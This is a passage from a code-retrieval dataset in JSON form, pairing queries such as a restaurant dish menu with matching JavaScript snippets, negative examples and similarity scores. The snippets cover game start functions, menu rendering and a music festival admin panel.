Setting the stage */\\n /* -------------------------------*/\\n\\n // **** Create our scene ***\\n initScene();\\n\\n // **** Set up the Renderer ***\\n initRenderer();\\n\\n // **** Setup Container stuff ***\\n initContainer();\\n\\n // *** Setup the Halo stats div ***\\n initStatsInfo();\\n\\n // **** DAT GUI! ***\\n initGUI();\\n\\n // **** Setup our slider ***\\n initSlider();\\n\\n\\n /* -------------------------------*/\\n /* Organizing our Actors */\\n /* -------------------------------*/\\n\\n // Load Data for Halo // TREE679582 TREE676638\\n initHaloTree(TREE676638, true);\\n\\n // **** Lights! ***\\n initLights();\\n\\n // **** Camera! ***\\n initCamera();\\n\\n // **** Setup our Raycasting stuff ***\\n initRayCaster();\\n\\n // **** Action! Listeners *** //\\n initListeners();\\n\\n\\n}\",\n \"constructor()\\n {\\n // calling the super to inniciate this class as a scene\\n super();\\n }\",\n \"function startGame() {\\n let gameBoard = document.getElementById('gameBoard');\\n let tutorial = document.getElementById('tutorial');\\n gameBoard.style.display = \\\"block\\\";\\n tutorial.style.display = \\\"none\\\";\\n addGround();\\n addTree(treeCenter, trunkHeight);\\n addBush(bushStart);\\n addStones(stoneStart);\\n addCloud(cloudStartX, cloudStartY);\\n addingEventListenersToGame();\\n addingEventListenersToTools();\\n addInventoryEventListeners()\\n}\",\n \"function FXstart (){\\n setTimeout(FXdisplayLaunch, 1500);\\n FXweatherGeolocation();\\n FXdisplayMarsWeather();\\n }\",\n \"function start() {\\n $('#waitPanel').remove();\\n\\n // build slides dynamically\\n const slides = $('div.slides');\\n const areyoureadyTemplate = $('#areyouready-template').html();\\n slides.append(areyoureadyTemplate\\n .replace(/VOICE_ID/g, sessionData['voice']['id'])\\n );\\n const wordTemplate = $('#word-template').html();\\n $.each(sessionData['wordList'], function(idx, data) {\\n slides.append(wordTemplate\\n .replace(/ID/g, idx+1)\\n );\\n });\\n const goodjobTemplate = $('#goodjob-template').html();\\n slides.append(goodjobTemplate\\n .replace(/VOICE_ID/g, sessionData['voice']['id'])\\n );\\n\\n Reveal.initialize({\\n controlsLayout: \\\"edges\\\",\\n overview: false,\\n autoPlayMedia: true,\\n hash: false,\\n viewDistance: Number.MAX_VALUE,\\n keyboard: {\\n 13: listenAgain,\\n 65: listenAgain, // A - again\\n 82: listenAgain, // R - repeat\\n }\\n });\\n\\n Reveal.addEventListener('slidechanged', function(p) {\\n const slideNum = p['indexh'];\\n playSound(slideNum);\\n });\\n\\n // change to first (later changes will be captured above\\n playSound(0);\\n}\",\n \"start(event){\\n console.warn(\\\"ZOOTYMON GO!\\\");\\n $('.firstpage').hide();\\n $('.dino2').hide();\\n zootyMon.progressbar();\\n const $name = $('input').val();\\n $('.nameInput').text($name);\\n zootyMon.increaseAge();\\n zootyMon.morph();\\n zootyMon.animateZootymon();\\n \\n \\n }\",\n \"function Start() {\\n console.log(`%c Start Function`, \\\"color: grey; font-size: 14px; font-weight: bold;\\\");\\n stage = new createjs.Stage(canvas);\\n createjs.Ticker.framerate = Config.Game.FPS;\\n createjs.Ticker.on('tick', Update);\\n stage.enableMouseOver(20);\\n Config.Game.ASSETS = assets; // make a reference to the assets in the global config\\n Main();\\n }\"\n]"},"negative_scores":{"kind":"list like","value":["0.74389476","0.7310588","0.70975536","0.6952484","0.6715637","0.66859394","0.663983","0.6638555","0.6571287","0.65618575","0.65270853","0.6473177","0.646615","0.64646536","0.6458617","0.64431214","0.6443038","0.6418837","0.6404111","0.64015144","0.6380875","0.6348404","0.63479435","0.6347251","0.634585","0.63456863","0.6344421","0.6331548","0.6305322","0.63032794","0.62967074","0.6293326","0.6290774","0.6289273","0.6284763","0.62712044","0.62665856","0.625361","0.6251022","0.6232611","0.6229435","0.6222703","0.62118804","0.6211269","0.61995584","0.6193853","0.6193189","0.6193189","0.6161966","0.61595094","0.61471444","0.6140593","0.61356044","0.6129856","0.6129199","0.6126119","0.6125271","0.6099707","0.6095008","0.60944366","0.60938627","0.60920066","0.6088571","0.60833126","0.6081371","0.6071361","0.6069223","0.60576355","0.60474247","0.6045314","0.60429096","0.60364366","0.6033361","0.60257286","0.6025719","0.6018825","0.6015323","0.6014897","0.6010746","0.5998373","0.599543","0.59927905","0.5991143","0.598838","0.59868","0.5986538","0.5985335","0.59825665","0.59821886","0.59819","0.5981512","0.59686005","0.5966992","0.5966366","0.596506","0.59634614","0.59591883","0.59558636","0.59542066","0.59533006","0.59526473"],"string":"[\n \"0.74389476\",\n \"0.7310588\",\n \"0.70975536\",\n \"0.6952484\",\n \"0.6715637\",\n \"0.66859394\",\n \"0.663983\",\n \"0.6638555\",\n \"0.6571287\",\n \"0.65618575\",\n \"0.65270853\",\n \"0.6473177\",\n \"0.646615\",\n \"0.64646536\",\n \"0.6458617\",\n \"0.64431214\",\n \"0.6443038\",\n \"0.6418837\",\n \"0.6404111\",\n \"0.64015144\",\n \"0.6380875\",\n \"0.6348404\",\n \"0.63479435\",\n \"0.6347251\",\n \"0.634585\",\n \"0.63456863\",\n \"0.6344421\",\n \"0.6331548\",\n \"0.6305322\",\n \"0.63032794\",\n \"0.62967074\",\n \"0.6293326\",\n \"0.6290774\",\n \"0.6289273\",\n \"0.6284763\",\n \"0.62712044\",\n \"0.62665856\",\n \"0.625361\",\n \"0.6251022\",\n \"0.6232611\",\n \"0.6229435\",\n \"0.6222703\",\n \"0.62118804\",\n \"0.6211269\",\n \"0.61995584\",\n \"0.6193853\",\n \"0.6193189\",\n \"0.6193189\",\n \"0.6161966\",\n \"0.61595094\",\n \"0.61471444\",\n \"0.6140593\",\n \"0.61356044\",\n \"0.6129856\",\n \"0.6129199\",\n \"0.6126119\",\n \"0.6125271\",\n \"0.6099707\",\n \"0.6095008\",\n \"0.60944366\",\n \"0.60938627\",\n \"0.60920066\",\n \"0.6088571\",\n \"0.60833126\",\n \"0.6081371\",\n \"0.6071361\",\n \"0.6069223\",\n \"0.60576355\",\n \"0.60474247\",\n \"0.6045314\",\n \"0.60429096\",\n \"0.60364366\",\n \"0.6033361\",\n \"0.60257286\",\n \"0.6025719\",\n \"0.6018825\",\n \"0.6015323\",\n \"0.6014897\",\n \"0.6010746\",\n \"0.5998373\",\n \"0.599543\",\n \"0.59927905\",\n \"0.5991143\",\n \"0.598838\",\n \"0.59868\",\n \"0.5986538\",\n \"0.5985335\",\n \"0.59825665\",\n \"0.59821886\",\n \"0.59819\",\n \"0.5981512\",\n \"0.59686005\",\n \"0.5966992\",\n \"0.5966366\",\n \"0.596506\",\n \"0.59634614\",\n \"0.59591883\",\n \"0.59558636\",\n \"0.59542066\",\n \"0.59533006\",\n \"0.59526473\"\n]"},"document_score":{"kind":"string","value":"0.0"},"document_rank":{"kind":"string","value":"-1"}}},{"rowIdx":64,"cells":{"query":{"kind":"string","value":"Dish menu for fancy restaurant scene."},"document":{"kind":"string","value":"function handleFancyRestaurantChoice() {\n /** @type {HTMLInputElement} Input field. */\n const dishInput = document.getElementById(\"dish-input\").value;\n const fancyMenu = [\"pizza\", \"paella\", \"pasta\"]\n\n if(dishInput == fancyMenu[0]) {\n restaurantClosing();\n } else if (dishInput == fancyMenu[1]) {\n restaurantClosing();\n } else if (dishInput == fancyMenu[2]) {\n restaurantClosing();\n } else {\n fancyRestauratMenu();\n }\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["function displayMenu() {\n const menu = document.querySelector(\"#menu\");\n let dishes = hard_coded_dishes;\n\n dishes.forEach(dish => {\n // generate template for main ingredient and the name of the dish\n const main = displayDish(\n dish.course,\n dish.name,\n dish.price,\n dish.ingredient\n );\n\n // generate options for each dish\n const options = [];\n\n if (dish.options) {\n dish.options.forEach(option => {\n options.push(displayOption(option.option, option.price));\n });\n }\n\n // add this to the DOM\n menu.insertAdjacentHTML(\"beforeend\", main + options.join(\"\"));\n });\n}","addDishToMenu(dish) {\n if(this.menu.includes(dish))\n {\n this.removeDishFromMenu(dish.id);\n }\n this.menu.push(dish);\n }","function showMenu(arg)\r\n\t{\r\n\t\tswitch(arg)\r\n\t\t{\r\n\t\t\tcase 0:\r\n\t\t\t\t$('#menu').html(\"\");\r\n\t\t\tbreak;\r\n\t\t\tcase 1:\r\n\t\t\t\t$('#menu').html(\"

    Sheep's Snake

    Press A to play!

    Press B for some help !

    \");\r\n\t\t\t\t\r\n\t\t\tbreak;\r\n\t\t}\r\n\t}","function foodMenuItems() {\r\n\t\t\t\t\t\r\n\t\t\t\t\tvar $foodItemOffsetPos = ($('#nectar_fullscreen_rows').length > 0) ? '200%' : '80%';\r\n\t\t\t\t\t$($fullscreenSelector + '.nectar_food_menu_item').parent().each(function () {\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\tvar $that = $(this),\r\n\t\t\t\t\t\twaypoint = new Waypoint({\r\n\t\t\t\t\t\t\telement: $that,\r\n\t\t\t\t\t\t\thandler: function () {\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\tif ($that.parents('.wpb_tab').length > 0 && $that.parents('.wpb_tab').css('visibility') == 'hidden' || $that.hasClass('completed')) {\r\n\t\t\t\t\t\t\t\t\twaypoint.destroy();\r\n\t\t\t\t\t\t\t\t\treturn;\r\n\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t$that.find('.nectar_food_menu_item').each(function (i) {\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\tvar $that = $(this);\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\tsetTimeout(function () {\r\n\t\t\t\t\t\t\t\t\t\t$that.addClass('animated-in');\r\n\t\t\t\t\t\t\t\t\t}, i * 150);\r\n\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t});\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\twaypoint.destroy();\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t},\r\n\t\t\t\t\t\t\toffset: $foodItemOffsetPos\r\n\t\t\t\t\t\t});\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t});\r\n\t\t\t\t}","getMenu() {alert(\"entering grocery.js getMenu()\")\n\t\t// Assemble the menu list (meal nodes)\n\t\tthis.menuCloset.destructBoxes()\n\t\tlet mealNodes = graph.getNodesByID_partial(\"meal\", \"\")\n\t\tfor (let meal of mealNodes) {\n\t\t\tif (meal.inMenu) { // i don't think we need to keep track of what's on the menu by using inMenu anymore. I think we can just use groceryListArea.menuCloset.boxes to see what's on the menu. This is the next thing to take a look at and understand better. (todo)\n\t\t\t\tthis.menuCloset.add(meal)\n\t\t\t}\n\t\t}\n\t\tthis.updateGroceryList()\n\t}","function thememascot_menuzord() {\n $(\"#menuzord\").menuzord({\n align: \"left\",\n effect: \"slide\",\n animation: \"none\",\n indicatorFirstLevel: \"\",\n indicatorSecondLevel: \"\"\n });\n $(\"#menuzord-right\").menuzord({\n align: \"right\",\n effect: \"slide\",\n animation: \"none\",\n indicatorFirstLevel: \"\",\n indicatorSecondLevel: \"\"\n });\n }","constructor(props) {\n super(props);\n\n // comente lo de abajo por que ahora lo estamos extrallendo del archivo dishes.js\n this.state = {\n selectedDish: null\n }\n console.log('menu constructor is invoke')\n \n }","function onOpen() {\n createMenu();\n}","function loadMenu(){\n\t\tpgame.state.start('menu');\n\t}","function menu() {\n this.meal1 = \"Ham and Cheese Sandwich\",\n this.meal2 = \"Roastbeef Sandwich\"\n }","function menuHandler() {\n console.log('menuHandler');\n\n agent.add('Questi sono alcuni dei modi in cui posso aiutarti nella tua visita al nostro store online')\n agent.add(new Suggestion(`Esplorazione delle categorie`));\n agent.add(new Suggestion(`Ricerca prodotto specifico`));\n agent.add(new Suggestion(`Suggerimento prodotto`));\n}","function lijstSubMenuItem() {\n\n if ($mLess.text() == \"meer\") {\n $mLess.text(\"minder\")\n } else {\n $mLess.text(\"meer\");\n\n }\n $list.toggleClass('hidden')\n $resum.get(0).scrollIntoView('slow');\n event.preventDefault()\n }","function DfoMenu(/**string*/ menu)\r\n{\r\n\tSeS(\"G_Menu\").DoMenu(menu);\r\n\tDfoWait();\r\n}","function showMenu() {\n // clear the console\n console.log('\\033c');\n // menu selection\n inquirer\n .prompt([\n {\n type: \"list\",\n name: \"wish\",\n choices: [\"View Product Sales by Department\", \"Create New Department\", \"Exit\"],\n message: '\\nWhat would you like to do? '\n }\n ]).then( answer => {\n switch (answer.wish){\n case \"View Product Sales by Department\":\n showSale();\n break;\n case \"Create New Department\":\n createDept();\n break;\n case \"Exit\":\n connection.end();\n break;\n default:\n console.log( `\\x1b[1m \\x1b[31m\\nERROR! Invalid Selection\\x1b[0m`);\n }\n })\n}","function createMenu() {\n const menu = document.createElement(\"div\");\n for (let section in Menu) {\n menu.appendChild(createDishSection(Menu[section].name));\n menu.appendChild(createDishList(Menu[section].dishes));\n }\n return menu;\n}","function menuhrres() {\r\n\r\n}","function menuOptions() {}","function showMainMenu(){\n addTemplate(\"menuTemplate\");\n showMenu();\n}","function onOpen() { CUSTOM_MENU.add(); }","function clickAddnewMenu(){\n\t\t\n\t\t$(\"#menuAddNew\").show();\n\t\t//$(\".categorydropList\").load(jssitebaseUrl+\"/ajaxActionRestaurant.php?action=categoryDropList\");\n\t\t$(\"#menuEdit\").hide();\n\t\t//$(\"#addnew_buttun\").hide();\n\t\t$(\".restaurantMenuContent\").hide();\n\t}","function menuShow() {\n ui.appbarElement.addClass('open');\n ui.mainMenuContainer.addClass('open');\n ui.darkbgElement.addClass('open');\n}","function onOpen() {\n SpreadsheetApp.getUi()\n .createMenu('Great Explorations')\n .addItem('Match Girls to Workshops', 'matchGirls')\n .addToUi();\n}","function showMenu(){\n // shows panel for piano\n rectMode(CENTER);\n fill(0, 100, 255);\n rect(width/2, height/2 - 100, 400, 150);\n textAlign(CENTER, CENTER), textSize(75);\n fill(0);\n text('Piano', width/2, height/2 - 100);\n \n // shows panel for guitar\n rectMode(CENTER);\n fill(0, 240 , 250);\n rect(width/2, height/2 + 100, 400, 150);\n textAlign(CENTER, CENTER), textSize(75);\n fill(0);\n text('Guitar', width/2, height/2 + 100);\n}","function fancyRestauratMenu() {\n subTitle.innerText = fancyRestaurantWelcome;\n firstButton.classList.add(\"hidden\");\n secondButton.classList.add(\"hidden\");\n fancyDiv.classList.remove(\"hidden\");\n\n handleFancyRestaurantChoice();\n}","expandMenu() {\r\n\t}","function fastFoodRestaurantScene() {\n subTitle.innerText = fastfoodWelcome;\n firstButton.classList.add(\"hidden\");\n secondButton.classList.add(\"hidden\");\n fastDiv.classList.remove(\"hidden\");\n\n handleFastRestaurantChoice();\n}","function setMenu() {\n var menu = gId('menu');\n var menu_elements = menu.children;\n for (var i = 0; i < menu_elements.length; i++) {\n if (menu_elements[i].textContent != \"my stories\") {\n menu_elements[i].style.display = 'none';\n }\n }\n}","function _createFoodMenu( data ) {\n var html = '', note = data.notification ? \n '
    '+data.notification+'
    ' : '';\n \n if ( data.headline ) {\n var id = getAutoId(); \n html = '

    '+data.headline+'

    '+note;\n } else if ( data.subline ) {\n html = '

    '+data.subline+'

    '+note;\n } else if ( data.type === 'setmenu-price' ) {\n html = '
    '+data.price+'
    '+note;\n } else {\n var name = data.name ? '
    '+data.name+'
    ' : '';\n var number = data.number ? '
    '+data.number+'
    ' : '';\n var price = data.price ? '
    '+data.price+'
    ' : '';\n\n var description = data.description ? \n '
    '+data.description+'
    ' : '';\n var sashimi = data.sashimi ? \n '
    '+data.sashimi+'
    ' : '';\n var type = 'food' + (data.type ? (' -'+data.type) : '') +\n (sashimi ? ' -has-sashimi' : '') + (number ? '' : ' -no-number');\n\n html = '
    ' +\n number + name + price + sashimi + description + note +\n '
    '; \n }\n return html;\n}","function renderMenu() {\n\tvar menu = com.dawgpizza.menu;\n\t// grab templates for duplication\n\tvar pizzaTemplate = $('.pizza-template');\n\tvar drinkDessertTemplate = $('.drink-dessert-template');\n\t$.each(com.dawgpizza.menu.pizzas, function() {\n\t\tvar pizzaTemplateClone = pizzaTemplate.clone();\n\t\t// populate the clone's fields\n \tpizzaTemplateClone.find('.name').html(this.name);\n \tpizzaTemplateClone.find('.description').html(this.description + \" \" \n \t\t+ this.prices[0]+\"/\"+this.prices[1]+\"/\"+this.prices[2]);\n\n \t// data-type=\"\" data-name=\"\" data-qty=\"\" data-price=\"\"\n \tpizzaTemplateClone.find('button.form-control').attr({\n \t\t\"data-type\": this.type,\n \t\t\"data-name\": this.name\n \t});\n \t// add prices to select options\n \tvar pizza = this;\n\t $.each(pizzaTemplateClone.find('select').children(), function(idx) {\n\t \t$(this).val(pizza.prices[idx]);\n\t });\n\t if(this.vegetarian) { // put in the vegetarian menu.\n\t \t$('#veggie-spot').append(pizzaTemplateClone);\n\t } else { // put in the carnivore menu.\n\t \t$('#meat-spot').append(pizzaTemplateClone);\n\t }\n\t});\n\n\t$.each(com.dawgpizza.menu.drinks, function() {\n\t\tvar drinkDessertTemplateClone = drinkDessertTemplate.clone();\n\t\t// populate the clone's fields\n\t\tdrinkDessertTemplateClone.find('.name').html(this.name);\n\n\t\t// data-type=\"\" data-name=\"\" data-qty=\"\" data-price=\"\"\n \tdrinkDessertTemplateClone.find('button.form-control').attr({\n \t\t\"data-type\": this.type,\n \t\t\"data-name\": this.name,\n \t\t\"data-price\": this.price\n \t});\n\n\t\t$('#drinks').append(drinkDessertTemplateClone);\n\t});\n\n\t$.each(com.dawgpizza.menu.desserts, function() {\n\t\tvar drinkDessertTemplateClone = drinkDessertTemplate.clone();\n\t\t// populate the clone's fields\n\t\tdrinkDessertTemplateClone.find('.name').html(this.name);\n\t\t// data-type=\"\" data-name=\"\" data-qty=\"\" data-price=\"\"\n \tdrinkDessertTemplateClone.find('button.form-control').attr({\n \t\t\"data-type\": this.type,\n \t\t\"data-name\": this.name,\n \t\t\"data-price\": this.price\n \t});\n\n\t\t$('#desserts').append(drinkDessertTemplateClone);\n\t});\n}","function initMenu(){\n\toutlet(4, \"vpl_menu\", \"clear\");\n\toutlet(4, \"vpl_menu\", \"append\", \"properties\");\n\toutlet(4, \"vpl_menu\", \"append\", \"help\");\n\toutlet(4, \"vpl_menu\", \"append\", \"rename\");\n\toutlet(4, \"vpl_menu\", \"append\", \"expand\");\n\toutlet(4, \"vpl_menu\", \"append\", \"fold\");\n\toutlet(4, \"vpl_menu\", \"append\", \"---\");\n\toutlet(4, \"vpl_menu\", \"append\", \"duplicate\");\n\toutlet(4, \"vpl_menu\", \"append\", \"delete\");\n\n\toutlet(4, \"vpl_menu\", \"enableitem\", 0, myNodeEnableProperties);\n\toutlet(4, \"vpl_menu\", \"enableitem\", 1, myNodeEnableHelp);\n outlet(4, \"vpl_menu\", \"enableitem\", 3, myNodeEnableBody);\t\t\n outlet(4, \"vpl_menu\", \"enableitem\", 4, myNodeEnableBody);\t\t\n}","function Estiliza_menu_itens()\n{\n //PARA CADA ITEM DO MENU, BASTA CHAMAR A FUNÇÃO ABAIXO, ESPECIFICANDO\n //SEU INDICE(NUMERO), SUA COR(STRING), SEU CONTEUDO(STRING), SEU LABEL(STRING)\n //Estiliza_item(Indice, Cor, Conteudo, Texto Lateral);\n Estiliza_item(0,\"blue\",\"+\",\"Adicionar\");\n Estiliza_item(1,\"red\",\"Botão\");\n}","function gameMenuStartableDrawer() {\n if (store.getState().currentPage == 'GAME_MENU' && store.getState().lastAction == 'GAMEDATA_LOADED') {\n gameMenuStartableStarsid.innerHTML = store.getState().activeGameState.stars.toString() + '/77';\n }\n }","function ciniki_musicfestivals_main() {\n //\n // The panel to list the festival\n //\n this.menu = new M.panel('Music Festivals', 'ciniki_musicfestivals_main', 'menu', 'mc', 'medium', 'sectioned', 'ciniki.musicfestivals.main.menu');\n this.menu.data = {};\n this.menu.nplist = [];\n this.menu.sections = {\n// 'search':{'label':'', 'type':'livesearchgrid', 'livesearchcols':1,\n// 'cellClasses':[''],\n// 'hint':'Search festival',\n// 'noData':'No festival found',\n// },\n '_tabs':{'label':'', 'type':'paneltabs', 'selected':'festivals',\n 'visible':function() {return M.modFlagSet('ciniki.musicfestivals', 0x40); },\n 'tabs':{\n 'festivals':{'label':'Festivals', 'fn':'M.ciniki_musicfestivals_main.menu.switchTab(\"festivals\");'},\n 'trophies':{'label':'Trophies', 'fn':'M.ciniki_musicfestivals_main.menu.switchTab(\"trophies\");'},\n }},\n 'festivals':{'label':'Festival', 'type':'simplegrid', 'num_cols':2,\n 'visible':function() { return M.ciniki_musicfestivals_main.menu.sections._tabs.selected == 'festivals' ? 'yes' : 'no';},\n 'noData':'No Festivals',\n 'addTxt':'Add Festival',\n 'addFn':'M.ciniki_musicfestivals_main.edit.open(\\'M.ciniki_musicfestivals_main.menu.open();\\',0,null);'\n },\n 'trophies':{'label':'Trophies', 'type':'simplegrid', 'num_cols':2,\n 'visible':function() { return M.ciniki_musicfestivals_main.menu.sections._tabs.selected == 'trophies' ? 'yes' : 'no';},\n 'noData':'No Trophies',\n// 'headerValues':['Category', 'Name'],\n 'addTxt':'Add Trophy',\n 'addFn':'M.ciniki_musicfestivals_main.trophy.open(\\'M.ciniki_musicfestivals_main.menu.open();\\',0,null);'\n },\n }\n this.menu.liveSearchCb = function(s, i, v) {\n if( s == 'search' && v != '' ) {\n M.api.getJSONBgCb('ciniki.musicfestivals.festivalSearch', {'tnid':M.curTenantID, 'start_needle':v, 'limit':'25'}, function(rsp) {\n M.ciniki_musicfestivals_main.menu.liveSearchShow('search',null,M.gE(M.ciniki_musicfestivals_main.menu.panelUID + '_' + s), rsp.festivals);\n });\n }\n }\n this.menu.liveSearchResultValue = function(s, f, i, j, d) {\n return d.name;\n }\n this.menu.liveSearchResultRowFn = function(s, f, i, j, d) {\n return 'M.ciniki_musicfestivals_main.festival.open(\\'M.ciniki_musicfestivals_main.menu.open();\\',\\'' + d.id + '\\');';\n }\n this.menu.switchTab = function(tab) {\n if( tab != null ) { this.sections._tabs.selected = tab; }\n this.open();\n }\n this.menu.cellValue = function(s, i, j, d) {\n if( s == 'festivals' ) {\n switch(j) {\n case 0: return d.name;\n case 1: return d.status_text;\n }\n }\n if( s == 'trophies' ) {\n switch(j) {\n case 0: return d.category;\n case 1: return d.name;\n }\n }\n }\n this.menu.rowFn = function(s, i, d) {\n if( s == 'festivals' ) {\n return 'M.ciniki_musicfestivals_main.festival.open(\\'M.ciniki_musicfestivals_main.menu.open();\\',\\'' + d.id + '\\',M.ciniki_musicfestivals_main.festival.nplist);';\n }\n if( s == 'trophies' ) {\n return 'M.ciniki_musicfestivals_main.trophy.open(\\'M.ciniki_musicfestivals_main.menu.open();\\',\\'' + d.id + '\\',M.ciniki_musicfestivals_main.menu.nplist);';\n }\n }\n this.menu.open = function(cb) {\n if( this.sections._tabs.selected == 'trophies' ) {\n M.api.getJSONCb('ciniki.musicfestivals.trophyList', {'tnid':M.curTenantID}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.menu;\n p.data = rsp;\n p.nplist = (rsp.nplist != null ? rsp.nplist : null);\n p.refresh();\n p.show(cb);\n });\n } else {\n M.api.getJSONCb('ciniki.musicfestivals.festivalList', {'tnid':M.curTenantID}, function(rsp) {\n if( rsp.stat != 'ok' ) {\n M.api.err(rsp);\n return false;\n }\n var p = M.ciniki_musicfestivals_main.menu;\n p.data = rsp;\n p.nplist = (rsp.nplist != null ? rsp.nplist : null);\n p.refresh();\n p.show(cb);\n });\n }\n }\n this.menu.addClose('Back');\n\n //\n // The panel to display Festival\n //\n this.festival = new M.panel('Festival', 'ciniki_musicfestivals_main', 'festival', 'mc', 'large narrowaside', 'sectioned', 'ciniki.musicfestivals.main.festival');\n this.festival.data = null;\n this.festival.festival_id = 0;\n this.festival.section_id = 0;\n this.festival.schedulesection_id = 0;\n this.festival.scheduledivision_id = 0;\n this.festival.invoice_typestatus = '';\n this.festival.list_id = 0;\n this.festival.listsection_id = 0;\n this.festival.nplists = {};\n this.festival.nplist = [];\n this.festival.messages_status = 10;\n this.festival.city_prov = 'All';\n this.festival.province = 'All';\n this.festival.registration_tag = '';\n this.festival.sections = {\n '_tabs':{'label':'', 'type':'menutabs', 'selected':'sections', 'tabs':{\n 'sections':{'label':'Syllabus', 'fn':'M.ciniki_musicfestivals_main.festival.switchTab(\\'sections\\');'},\n 'registrations':{'label':'Registrations', 'fn':'M.ciniki_musicfestivals_main.festival.switchTab(\\'registrations\\');'},\n 'schedule':{'label':'Schedule', 'fn':'M.ciniki_musicfestivals_main.festival.switchTab(\\'schedule\\');'},\n 'videos':{'label':'Videos', 'fn':'M.ciniki_musicfestivals_main.festival.switchTab(\\'videos\\');',\n 'visible':function() { return (M.ciniki_musicfestivals_main.festival.data.flags&0x02) == 0x02 ? 'yes' : 'no'},\n },\n 'comments':{'label':'Comments', 'fn':'M.ciniki_musicfestivals_main.festival.switchTab(\\'comments\\');',\n 'visible':function() { return (M.ciniki_musicfestivals_main.festival.data.flags&0x02) == 0x02 ? 'yes' : 'no'},\n },\n 'competitors':{'label':'Competitors', 'fn':'M.ciniki_musicfestivals_main.festival.switchTab(\\'competitors\\');'},\n// 'adjudicators':{'label':'Adjudicators', 'fn':'M.ciniki_musicfestivals_main.festival.switchTab(\\'adjudicators\\');'},\n// 'files':{'label':'Files', 'fn':'M.ciniki_musicfestivals_main.festival.switchTab(\\'files\\');'},\n 'photos':{'label':'Photos', \n 'visible':function() { return M.modFlagSet('ciniki.musicfestivals', 0x04); },\n 'fn':'M.ciniki_musicfestivals_main.festival.switchTab(\\'photos\\');',\n },\n// 'sponsors':{'label':'Sponsors', 'fn':'M.ciniki_musicfestivals_main.festival.switchTab(\\'sponsors\\');',\n// 'visible':function() { return M.modFlagSet('ciniki.musicfestivals', 0x10); },\n// },\n 'messages':{'label':'Messages', 'fn':'M.ciniki_musicfestivals_main.festival.switchTab(\\'messages\\');',\n 'visible':function() { return M.modFlagSet('ciniki.musicfestivals', 0x0400); },\n },\n// 'sponsors-old':{'label':'Sponsors', \n// 'visible':function() { \n// return (M.curTenant.modules['ciniki.sponsors'] != null && (M.curTenant.modules['ciniki.sponsors'].flags&0x02) == 0x02) ? 'yes':'no'; \n// },\n// 'fn':'M.ciniki_musicfestivals_main.festival.switchTab(\\'sponsors-old\\');',\n// },\n 'more':{'label':'More...', 'fn':'M.ciniki_musicfestivals_main.festival.switchTab(\\'more\\');'},\n }},\n '_moretabs':{'label':'', 'type':'menutabs', 'selected':'adjudicators', \n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'more' ? 'yes' : 'no'; },\n 'tabs':{\n 'invoices':{'label':'Invoices', 'fn':'M.ciniki_musicfestivals_main.festival.switchMTab(\\'invoices\\');'},\n 'adjudicators':{'label':'Adjudicators', 'fn':'M.ciniki_musicfestivals_main.festival.switchMTab(\\'adjudicators\\');'},\n 'certificates':{'label':'Certificates', 'fn':'M.ciniki_musicfestivals_main.festival.switchMTab(\\'certificates\\');'},\n 'lists':{'label':'Lists', 'fn':'M.ciniki_musicfestivals_main.festival.switchMTab(\\'lists\\');',\n 'visible':function() { return M.modFlagSet('ciniki.musicfestivals', 0x20); },\n },\n 'emails':{'label':'Emails', 'fn':'M.ciniki_musicfestivals_main.festival.switchMTab(\\'emails\\');',\n 'visible':function() { return M.modFlagSet('ciniki.musicfestivals', 0x0200); },\n },\n 'files':{'label':'Files', 'fn':'M.ciniki_musicfestivals_main.festival.switchMTab(\\'files\\');'},\n 'sponsors':{'label':'Sponsors', 'fn':'M.ciniki_musicfestivals_main.festival.switchMTab(\\'sponsors\\');',\n 'visible':function() { return M.modFlagSet('ciniki.musicfestivals', 0x10); },\n },\n/* 'sponsors-old':{'label':'Sponsors', \n 'visible':function() { \n return (M.curTenant.modules['ciniki.sponsors'] != null && (M.curTenant.modules['ciniki.sponsors'].flags&0x02) == 0x02) ? 'yes':'no'; \n },\n 'fn':'M.ciniki_musicfestivals_main.festival.switchMTab(\\'sponsors-old\\');',\n }, */\n }},\n 'details':{'label':'Details', 'aside':'yes', \n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'sections' ? 'yes' : 'no';},\n 'list':{\n 'name':{'label':'Name'},\n 'start_date':{'label':'Start'},\n 'end_date':{'label':'End'},\n 'num_registrations':{'label':'# Reg'},\n }},\n// '_more':{'label':'', 'aside':'yes', \n// 'list':{\n// 'adjudicators':{'label':'Adjudicators', 'fn':'M.ciniki_musicfestivals_main.festival.switchTab(\\'adjudicators\\');'},\n// }},\n 'download_buttons':{'label':'', 'aside':'yes',\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'sections' && M.ciniki_musicfestivals_main.festival.sections._stabs.selected == 'sections' ? 'yes' : 'no'; },\n 'buttons':{\n 'download':{'label':'Download Syllabus (PDF)', \n 'fn':'M.ciniki_musicfestivals_main.festival.syllabusDownload();',\n },\n }},\n 'syllabus_search':{'label':'', 'type':'livesearchgrid', 'livesearchcols':5,\n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'sections' ? 'yes' : 'no'; },\n 'hint':'Search class names',\n 'noData':'No classes found',\n 'headerValues':['Section', 'Category', 'Class', 'Fee', 'Registrations'],\n },\n '_stabs':{'label':'', 'type':'paneltabs', 'selected':'sections', \n 'visible':function() { return M.ciniki_musicfestivals_main.festival.sections._tabs.selected == 'sections' ? 'yes' : 'no'; },\n 'tabs':{\n 'sections':{'label':'Sections', 'fn':'M.ciniki_musicfestivals_main.festival.switchTab(null,\\'sections\\');'},\n 'categories':{'label':'Categories', 